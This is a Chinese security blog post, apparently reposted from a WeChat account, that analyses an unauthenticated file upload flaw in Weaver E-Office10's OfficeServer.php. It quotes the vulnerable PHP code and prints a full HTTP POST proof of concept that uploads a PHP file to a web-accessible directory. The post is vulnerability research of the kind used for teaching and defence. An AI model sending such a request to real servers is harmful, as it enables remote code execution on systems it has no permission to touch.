泛微E-Office10 OfficeServer.php文件上传历史漏洞简析

admin 2025年3月6日16:18:52评论22 views字数 4239阅读14分7秒阅读模式
 

e-ofice是标准化的协同0A办公软件。泛微E-Office10版本的源码文件,使用PHP IonCube进行加密,需要解密才能查看源码
泛微E-Office10 OfficeServer.php文件上传历史漏洞简析
加密规则参考如下地址
https://github.com/ax1sX/SecurityList/blob/main/Other_OA/%E6%B3%9B%E5%BE%AEE-Office.md
泛微E-Office10 OfficeServer.php文件上传历史漏洞简析
找到漏洞文件OfficeServer.php,路径为
/eoffice10/server/public/iWebOffice2015/OfficeServer.php
其中的关键代码如下
$mRecordID = "";$mFileName = "";$mFileBody = "";$mFileSize = "";$mFileType = "";$mFilePath = $_SERVER["DOCUMENT_ROOT"] . dirname($_SERVER["PHP_SELF"]);$mFullPath = "";$mOption = "";$mUserName = "";$MsgObj = "";$mContent = "";$mInput = "";$result = false;$mTemplate = "";$FormData = $_REQUEST["FormData"];error_log($FormData, 3, "a.log");$data1 = iconv("GB2312""UTF-8//IGNORE"$FormData);$data1 = str_replace("'""""$data1);$de_json = json_decode($data1true);$mOption = $de_json["OPTION"];switch ($mOption) {    case "LOADFILE":        $mRecordID = $de_json["RECORDID"];        $mFileName = $de_json["FILENAME"];        $mFileType = $de_json["FILETYPE"];        $mFilePath = $mFilePath . "/Document/" . $mFileName;        error_log($mFilePath, 3, "a.log");        $result = file_exists($mFilePath);        if ($result) {            $fd = fopen($mFilePath"rb");            $mFileSize = filesize($mFilePath);            $mFileBody = fread($fd$mFileSize);            header("Content-type: application/x-msdownload");            header("Content-Length:" . $mFileSize);            header("Content-Disposition: attachment; filename=" . $mFileName);            ob_clean();            flush();            echo $mFileBody;            fclose($fd);        } else {            echo header("MsgError:404");        }        break;    case "SAVEFILE":        $mRecordID = $de_json["RECORDID"];        $mFileName = $de_json["FILENAME"];        $mFileType = $de_json["FILETYPE"];        $mUserName = $de_json["USERNAME"];        $mFile = $_FILES["FileData"]["tmp_name"];        error_log($mFile, 3, "a.log");        $mFilePath = $mFilePath . "/Document/" . $mFileName;        error_log($mFilePath, 3, "a.log");        if (is_uploaded_file($mFile)) {            if (move_uploaded_file($mFile$mFilePath)) {                $mFileSize = $_FILES["FileData"]["size"];                $result = true;            } else {                $MsgError = "保存失败!";                $result = false;            }        } else {            $MsgError = "Uploaded_file Error";            $result = false;        }        break;    case "SAVEPDF":        $mRecordID = $de_json["RECORDID"];        $mFileName = $de_json["FILENAME"];        $mFile = $_FILES["FileData"]["tmp_name"];        $mFilePath = $mFilePath . "/PDF/" . $mFileName;        if (is_uploaded_file($mFile)) {            if (move_uploaded_file($mFile$mFilePath)) {                $mFileSize = $_FILES["FileData"]["size"];                $result = true;            } else {                $MsgError = "保存PDF失败!";                $result = false;            }        } else {            $MsgError = "Uploaded_file Error";            $result = false;        }        break;}
这里后端使用$FormData = $_REQUEST["FormData"];来接收请求参数

FormData
之后对参数进行编码转换,替换字符串之后解析json内容
$data1 = str_replace("'""""$data1);$de_json = json_decode($data1true);$mOption = $de_json["OPTION"];
根据json中的OPTION参数值,判断接下来调用什么方法;此处一共存在三个方法,第二个方法是 SAVEFILE 保存文件方法
同样取json内容中的对应参数,最后保存路径为:当前路径/Document/文件名
        $mRecordID = $de_json["RECORDID"];        $mFileName = $de_json["FILENAME"];        $mFileType = $de_json["FILETYPE"];        $mUserName = $de_json["USERNAME"];        $mFile = $_FILES["FileData"]["tmp_name"];        error_log($mFile, 3, "a.log");        $mFilePath = $mFilePath . "/Document/" . $mFileName;
当前路径即OfficeServer.php所在目录
$mFilePath = $_SERVER["DOCUMENT_ROOT"] . dirname($_SERVER["PHP_SELF"]);
最终路径就是
/eoffice10/server/public/iWebOffice2015/Document/文件名
之后读取上传参数FileData,按照上传的数据包格式上传文件
文件上传请求如下
POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1Host: User-Agent: Mozilla/5.0(Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0Content-Length: 395Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJjb5ZAJOOXO7fwjsAccept-Encoding: gzip, deflateConnection: close------WebKitFormBoundaryJjb5ZAJOOXO7fwjsContent-Disposition: form-data; name="FileData"; filename="1.jpg"Content-Type: image/jpeg<?php?>------WebKitFormBoundaryJjb5ZAJOOXO7fwjsContent-Disposition: form-data; name="FormData"{'USERNAME':'','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'test000.php'}------WebKitFormBoundaryJjb5ZAJOOXO7fwjs--
上传成功返回状态码为200,访问文件存在则验证成功
泛微E-Office10 OfficeServer.php文件上传历史漏洞简析
泛微E-Office10 OfficeServer.php文件上传历史漏洞简析
在iWebOffice路径中有个同名的方法,使用了类似的文件上传代码,不过是有权限校验的无法直接利用
感兴趣的师傅可以在内部圈子中找到分享的对应源码
 

原文始发于微信公众号(C4安全团队):泛微E-Office10 OfficeServer.php文件上传历史漏洞简析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月6日16:18:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微E-Office10 OfficeServer.php文件上传历史漏洞简析https://cn-sec.com/archives/3805194.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息